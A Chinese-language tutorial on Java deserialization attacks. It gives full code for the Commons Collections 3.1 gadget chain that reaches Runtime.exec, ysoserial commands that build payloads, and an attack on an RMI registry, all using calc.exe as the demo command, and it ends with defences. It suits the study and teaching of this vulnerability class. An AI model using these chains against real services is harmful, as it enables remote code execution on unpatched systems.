浅显易懂的JAVA反序列化入门
字数 1529 2025-08-26 22:11:35
Java反序列化漏洞深入解析与实战
0x00 前言
本文全面解析Java反序列化漏洞原理及利用方式,重点讲解Apache Commons Collections 3.1反序列化漏洞和RMI远程利用方法。内容涵盖Java反射机制、序列化操作、漏洞利用链构造以及实际攻击场景实现。
0x01 Java反序列化基础
Java反射机制
Java反射是反序列化漏洞利用的核心技术,允许在运行时动态调用类和方法:
// 正常执行系统命令
Runtime.getRuntime().exec("notepad.exe");
// 反射方式执行系统命令
Object runtime = Class.forName("java.lang.Runtime")
.getMethod("getRuntime", new Class[]{})
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime, "notepad.exe");
关键方法:
Class.forName()- 加载类getMethod()- 获取方法invoke()- 调用方法
Java序列化操作
Java序列化相关类:
ObjectOutputStream.writeObject()- 序列化对象ObjectInputStream.readObject()- 反序列化对象
示例代码:
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
// 反序列化
FileInputStream fileInputStream = new FileInputStream("serialize.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
0x02 Commons Collections 3.1反序列化漏洞
漏洞组件
漏洞存在于Apache Commons Collections 3.1及以下版本,下载地址:
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
关键类分析
-
InvokerTransformer
- 核心漏洞类,利用反射执行任意方法
public Object transform(Object input) { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } -
ChainedTransformer
- 将多个Transformer串联执行
public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; } -
TransformedMap
- 提供触发漏洞的入口点
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
漏洞利用链构造
完整利用链构造代码:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
利用链执行流程
ConstantTransformer(Runtime.class)- 返回Runtime类对象InvokerTransformer("getMethod", ...)- 获取getRuntime方法InvokerTransformer("invoke", ...)- 调用getRuntime()获取Runtime实例InvokerTransformer("exec", ...)- 执行系统命令
自动化利用工具
使用ysoserial生成payload:
java -jar ysoserial.jar CommonsCollections5 calc.exe > payload.bin
0x03 RMI远程利用
RMI基础
RMI(Remote Method Invocation)允许远程调用Java对象方法,通信流程:
- 客户端 → 客户端stub(序列化)
- 客户端stub → 服务器skeleton(反序列化)
- 服务器处理请求
- 服务器skeleton → 客户端stub(序列化)
- 客户端stub → 客户端(反序列化)
RMI服务实现
- 定义远程接口:
public interface User extends Remote {
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
- 实现接口:
public class UserImpl extends UnicastRemoteObject implements User {
public void dowork(Object work) throws RemoteException {
System.out.println("your work is " + work);
}
}
- 启动RMI服务:
String url = "rmi://10.10.10.1:4396/User";
User user = new UserImpl();
LocateRegistry.createRegistry(4396);
Naming.bind(url, user);
RMI反序列化攻击
当RMI服务接收Object参数时,可传递恶意序列化对象:
String url = "rmi://10.10.10.1:4396/User";
User userClient = (User) Naming.lookup(url);
userClient.dowork(getPayload()); // 传递恶意对象
使用ysoserial直接攻击RMI服务:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit \
10.10.10.1 4396 CommonsCollections1 "calc.exe"
0x04 JDK版本差异
JDK 1.7与1.8区别
-
AnnotationInvocationHandler变化:
- JDK 1.7中直接调用
setValue() - JDK 1.8中修改了触发逻辑
- JDK 1.7中直接调用
-
利用方式:
- JDK 1.7可使用AnnotationInvocationHandler触发
- JDK 1.8需使用其他链如BadAttributeValueExpException
0x05 防御措施
- 升级Commons Collections到4.0及以上版本
- 使用JDK 1.8u121及以上版本(引入JEP290)
- 反序列化时进行输入验证
- 使用安全管理器限制危险操作